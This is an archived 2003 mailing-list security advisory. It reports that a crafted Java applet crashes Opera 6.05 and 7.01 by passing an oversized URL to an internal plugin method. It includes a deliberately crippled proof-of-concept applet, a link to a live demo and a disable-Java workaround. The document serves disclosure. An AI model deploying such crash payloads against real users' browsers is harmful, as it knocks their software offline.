

[VulnWatch] Java–Applet crashes Opera 6.05 and 7.01

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-02/0012.html>

From: Marc Schoenefeld (schonef@uni-muenster.de)

Date: 02/10/03

Date: Mon, 10 Feb 2003 19:05:48 +0100 (MEZ)
From: Marc Schoenefeld <schonef@uni-muenster.de>
To: bugtraq@securityfocus.com

-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1

Security Advisory

Beauchamp Security: Java–Applet crashes Opera 6.05 and 7.01

Applet crashes Opera 6.05 and 7.01

=====

Vendor: Opera

Versions affected: Opera 6.05 / 7.01

Date: 3rd February 2003

Type of Vulnerability: Client DoS

Severity: High

Discovered by: Marc Schoenefeld, marc@beauchamp.de

Online location: <http://www.illegalaccess.org/java/OperaCall2.html>

=====

Analyzing the public interfaces of the opera java class libraries, a special applet could be constructed that provokes a JNI call with an invalid parameter right into a vulnerable routine causing a Denial of Service!

Discovery date

3 Feb 2003.

Affected applications

Opera 6.05

Opera 7.01

Vendor Response

This is what is rather unnice, the Opera team does not respond to bug reports, and neither read their own forum entries, to which the bug was also posted

Solution

Until a patch becomes available, disable Java by going to: File ->

VulnWatch: [VulnWatch] Java–Applet crashes Opera 6.05 and 7.01

Preferences → Multimedia, and uncheck the "Enable Java" item.

Analysis

Opera has its own class files in the opera.jar library. These are considered trusted by the system policies. But they are also vulnerable against invalid user input. In the proof–of–concept shown below the following showDocument method of the PluginContext object is called with a URL object carrying a very long string. Executing this method, causes the call of a native method, which cannot handle the value and therefore raises a JVM crash, which then crashes Opera 7.01. This was observed on Windows XP and Opera 6.05/7.01 with Java enabled, directly calling the applet after installation.

//Marc Schoenefeld 1/13/2003, www.illegalaccess.org

//not runnable, a little crippled, there are couple of obvious syntax errors to avoid script–kidding

```
...
import opera.PluginContext; // !! import the vulnerable class
...

public class OperaCall2 extends Applet
{
--
-- public OperaCall2()
-- {
-- }
--
-- public void paint(Graphics g)
-- {
-- PluginContext plugincontext = new PluginContext(1);
-- try
-- {
-- plugincontext.showDocument(new URL("http://xxx.xxx" + new
String(new byte[30000]));
-- }
-- catch(Exception exception)
-- {
-- exception.printStackTrace();
-- }
-- }
}
```

Disclaimer

The information in this advisory and any of its demonstrations is provided "as is" without warranty of any kind. Beauchamp Security is not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.

P.S. The following link should of course, be viewed with Opera which then will be crashed, it does no harm to Amaya,IE, Mozilla, Netscape, Phoenix , Lynx, emacs or wget –O – .

–

Never be afraid to try something new. Remember, amateurs built the ark; professionals built the Titanic. -- Anonymous

Marc Schönefeld Dipl. Wirtsch.–Inf. / Software Developer

-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.0.6 (AIX)

Comment: For info see <http://www.gnupg.org>

iD8DBQE+R+oCqCaQvrKNUNQRAtwgAJ9i6rooK7ejcWlp5nq4OqE7SVOK1gCfc49L

5FtTghOTeQSssTVF55yVmho=

=k2CK

-----END PGP SIGNATURE-----